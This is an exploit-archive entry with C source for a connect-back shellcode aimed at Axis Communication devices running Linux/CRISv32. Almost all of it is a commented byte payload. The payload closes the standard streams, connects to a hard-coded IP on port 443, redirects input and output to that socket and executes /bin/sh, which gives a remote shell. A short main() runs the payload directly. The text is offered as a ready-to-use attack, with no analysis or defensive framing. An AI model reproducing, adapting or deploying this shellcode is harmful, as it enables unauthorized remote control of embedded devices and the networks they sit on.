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Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes)
[/*
* Title: Axis Communication Linux/CRISv32 - Connect Back Shellcode
* Author: bashis <mcw noemail.eu> / 2016
*
*/
#include <stdio.h>
char sc[] =
//close(0)
"\x7a\x86" // clear.d r10
"\x5f\x9c\x06\x00" // movu.w 0x6,r9
"\x3d\xe9" // break 13
//close(1)
"\x41\xa2" // moveq 1,r10
"\x5f\x9c\x06\x00" // movu.w 0x6,r9
"\x3d\xe9" // break 13
//close(2)
"\x42\xa2" // moveq 2,r10
"\x5f\x9c\x06\x00" // movu.w 0x6,r9
"\x3d\xe9" // break 13
//
"\x10\xe1" // addoq 16,sp,acr
"\x42\x92" // moveq 2,r9
"\xdf\x9b" // move.w r9,[acr]
"\x10\xe1" // addoq 16,sp,acr
"\x02\xf2" // addq 2,acr
//PORT 443
"\x5f\x9e\x01\xbb" // move.w 0xbb01,r9
"\xdf\x9b" // move.w r9,[acr]
"\x10\xe1" // addoq 16,sp,acr
"\x6f\x96" // move.d acr,r9
"\x04\x92" // addq 4,r9
//IP 192.168.57.1
"\x6f\xfe\xc0\xa8\x39\x01" // move.d 139a8c0,acr
"\xe9\xfb" // move.d acr,[r9]
//
//socket()
"\x42\xa2" // moveq 2,r10
"\x41\xb2" // moveq 1,r11
"\x7c\x86" // clear.d r12
"\x6e\x96" // move.d $sp,$r9
"\xe9\xaf" // move.d $r10,[$r9+]
"\xe9\xbf" // move.d $r11,[$r9+]
"\xe9\xcf" // move.d $r12,[$r9+]
"\x41\xa2" // moveq 1,$r10
"\x6e\xb6" // move.d $sp,$r11
"\x5f\x9c\x66\x00" // movu.w 0x66,$r9
"\x3d\xe9" // break 13
//
"\x6a\x96" // move.d $r10,$r9
"\x0c\xe1" // addoq 12,$sp,$acr
"\xef\x9b" // move.d $r9,[$acr]
"\x0c\xe1" // addoq 12,$sp,$acr
"\x6e\x96" // move.d $sp,$r9
"\x10\x92" // addq 16,$r9
"\x6f\xaa" // move.d [$acr],$r10
"\x69\xb6" // move.d $r9,$r11
"\x50\xc2" // moveq 16,$r12
//
// connect()
"\x6e\x96" // move.d $sp,$r9
"\xe9\xaf" // move.d $r10,[$r9+]
"\xe9\xbf" // move.d $r11,[$r9+]
"\xe9\xcf" // move.d $r12,[$r9+]
"\x43\xa2" // moveq 3,$r10
"\x6e\xb6" // move.d $sp,$r11
"\x5f\x9c\x66\x00" // movu.w 0x66,$r9
"\x3d\xe9" // break 13
//
//dup(1)
"\x6f\xaa" // move.d [$acr],$r10
"\x41\xb2" // moveq 1,$r11
"\x5f\x9c\x3f\x00" // movu.w 0x3f,$r9
"\x3d\xe9" // break 13
//
//dup(2)
"\x6f\xaa" // move.d [$acr],$r10
"\x42\xb2" // moveq 2,$r11
"\x5f\x9c\x3f\x00" // movu.w 0x3f,$r9
"\x3d\xe9" // break 13
//execve("/bin/sh",NULL,NULL)
"\x90\xe2" // subq 16,$sp
"\x6e\x96" // move.d $sp,$r9
"\x6e\xa6" // move.d $sp,$10
"\x6f\x0e\x2f\x2f\x62\x69" // move.d 69622f2f,$r0
"\xe9\x0b" // move.d $r0,[$r9]
"\x04\x92" // addq 4,$r9
"\x6f\x0e\x6e\x2f\x73\x68" // move.d 68732f6e,$r0
"\xe9\x0b" // move.d $r0,[$r9]
"\x04\x92" // addq 4,$r9
"\x79\x8a" // clear.d [$r9]
"\x04\x92" // addq 4,$r9
"\x79\x8a" // clear.d [$r9]
"\x04\x92" // addq 4,$r9
"\xe9\xab" // move.d $r10,[$r9]
"\x04\x92" // addq 4,$r9
"\x79\x8a" // clear.d [$r9]
"\x10\xe2" // addq 16,$sp
"\x6e\xf6" // move.d $sp,$acr
"\x6e\x96" // move.d $sp,$r9
"\x6e\xb6" // move.d $sp,$r11
"\x7c\x86" // clear.d $r12
"\x4b\x92" // moveq 11,$r9
"\x3d\xe9"; // break 13
void
main(void)
{
void (*s)(void);
printf("sc size %d\n", sizeof(sc));
s = sc;
s();
}
# 0day.today [2024-11-16] #